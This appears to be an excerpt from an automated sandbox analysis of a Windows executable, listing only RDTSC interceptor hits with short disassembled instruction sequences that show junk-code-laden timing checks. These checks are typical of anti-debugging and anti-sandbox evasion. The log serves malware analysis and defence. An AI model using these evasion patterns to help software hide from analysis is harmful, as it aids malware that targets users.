Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5803 second address: 13F581C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A96Ch 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F581C second address: 13F582E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Dh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F582E second address: 13F584E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAE903A96Fh 0x00000008 jnl 00007FFAE903A966h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F59B4 second address: 13F59BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F59BA second address: 13F59C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FFAE903A966h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE958 second address: 13FE95F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13805BD second address: 13805CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13805CB second address: 13805E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE9061D6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13805E0 second address: 13805F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A973h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDB74 second address: 13FDB7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDB7A second address: 13FDB80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDCEF second address: 13FDD17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FFAE9061D66h 0x0000000b jbe 00007FFAE9061D66h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push esi 0x0000001c pop esi 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 jne 00007FFAE9061D68h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDD17 second address: 13FDD42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 jmp 00007FFAE903A975h 0x0000000e jmp 00007FFAE903A96Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDE7E second address: 13FDE8C instructions: 0x00000000 rdtsc 0x00000002 js 00007FFAE9061D68h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE264 second address: 13FE268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE268 second address: 13FE26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE26E second address: 13FE277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE277 second address: 13FE27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139EEF4 second address: 139EF0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A977h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FE7D7 second address: 13FE7DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD188 second address: 13FD18C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD18C second address: 13FD199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402559 second address: 140255D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B7F34 second address: 13B7F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8440 second address: 13B8446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8446 second address: 13B844A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B844A second address: 1201A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FFAE903A968h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov edx, esi 0x00000027 push dword ptr [ebp+122D0C35h] 0x0000002d movsx ecx, ax 0x00000030 jmp 00007FFAE903A977h 0x00000035 call dword ptr [ebp+122D1926h] 0x0000003b pushad 0x0000003c add dword ptr [ebp+122D18A0h], edi 0x00000042 xor eax, eax 0x00000044 clc 0x00000045 mov edx, dword ptr [esp+28h] 0x00000049 cmc 0x0000004a mov dword ptr [ebp+122D2AF3h], eax 0x00000050 mov dword ptr [ebp+122D18A0h], eax 0x00000056 mov esi, 0000003Ch 0x0000005b or dword ptr [ebp+122D18A0h], ebx 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 stc 0x00000066 lodsw 0x00000068 stc 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d stc 0x0000006e mov ebx, dword ptr [esp+24h] 0x00000072 jmp 00007FFAE903A978h 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8510 second address: 13B8515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8515 second address: 13B851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B851B second address: 13B853F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFAE9061D78h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B86F0 second address: 13B86F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B86F9 second address: 13B86FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8914 second address: 13B8918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B89F3 second address: 13B89F8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B89F8 second address: 13B8A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FFAE903A972h 0x0000000d nop 0x0000000e mov cl, 95h 0x00000010 push 00000004h 0x00000012 xor dword ptr [ebp+122D1C0Dh], ecx 0x00000018 nop 0x00000019 pushad 0x0000001a pushad 0x0000001b jg 00007FFAE903A966h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8A28 second address: 13B8A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FFAE9061D66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8A35 second address: 13B8A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FFAE903A968h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8E87 second address: 13B8E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 or dl, 00000064h 0x0000000c push 0000001Eh 0x0000000e mov di, ax 0x00000011 nop 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8E9E second address: 13B8EB8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FFAE903A96Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B91DE second address: 139EEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnc 00007FFAE9061D6Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f xor cx, C104h 0x00000014 cmc 0x00000015 call dword ptr [ebp+122D22C0h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFAE9061D74h 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140286D second address: 140288E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FFAE903A976h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140288E second address: 14028CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE9061D72h 0x00000007 pushad 0x00000008 js 00007FFAE9061D66h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FFAE9061D74h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007FFAE9061D66h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14028CD second address: 14028D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402CF4 second address: 1402CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402E39 second address: 1402E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007FFAE903A966h 0x00000009 jnl 00007FFAE903A966h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402E4F second address: 1402E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14032B3 second address: 14032D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FFAE903A966h 0x0000000a popad 0x0000000b jmp 00007FFAE903A96Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14032D0 second address: 14032E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14059F0 second address: 1405A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A979h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405A14 second address: 1405A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405A18 second address: 1405A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405A1C second address: 1405A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FFAE9061D6Ch 0x00000011 pop ecx 0x00000012 jnl 00007FFAE9061D68h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405A3D second address: 1405A48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FFAE903A966h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E68D second address: 140E6AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAE9061D7Bh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FFAE9061D73h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8BF7 second address: 13B8BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B8EB4 second address: 13B8EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EF19 second address: 140EF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EF23 second address: 140EF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EF2B second address: 140EF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EF37 second address: 140EF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140EF3B second address: 140EF58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FFAE903A975h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413BFA second address: 1413C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFAE9061D66h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFAE9061D79h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413C20 second address: 1413C4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FFAE903A966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007FFAE903A966h 0x00000013 jne 00007FFAE903A966h 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push ebx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FFAE903A96Bh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141312E second address: 1413136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413136 second address: 141315F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FFAE903A979h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141315F second address: 1413169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14132C7 second address: 14132CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14132CC second address: 14132D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14132D2 second address: 14132F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FFAE903A972h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007FFAE903A968h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14132F8 second address: 14132FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14132FC second address: 141332B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FFAE903A96Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAE903A979h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413616 second address: 1413624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416DF2 second address: 1416E37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A976h 0x00000007 pushad 0x00000008 js 00007FFAE903A966h 0x0000000e jnl 00007FFAE903A966h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FFAE903A979h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416E37 second address: 1416E71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFAE9061D7Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FFAE9061D75h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416E71 second address: 1416E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14163D7 second address: 14163F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FFAE9061D70h 0x0000000a jng 00007FFAE9061D68h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141658C second address: 14165A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A96Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FFAE903A966h 0x00000012 jns 00007FFAE903A966h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14165A9 second address: 14165C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FFAE9061D71h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14165C6 second address: 14165E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A976h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416745 second address: 1416749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416749 second address: 1416780 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FFAE903A982h 0x00000013 jp 00007FFAE903A97Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416780 second address: 1416793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368D69 second address: 1368D74 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368D74 second address: 1368DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D75h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FFAE9061D72h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419F72 second address: 1419F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F979 second address: 141F97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141FC41 second address: 141FC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141FC45 second address: 141FC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142028E second address: 1420292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420549 second address: 1420555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jp 00007FFAE9061D66h 0x0000000c rdtsc
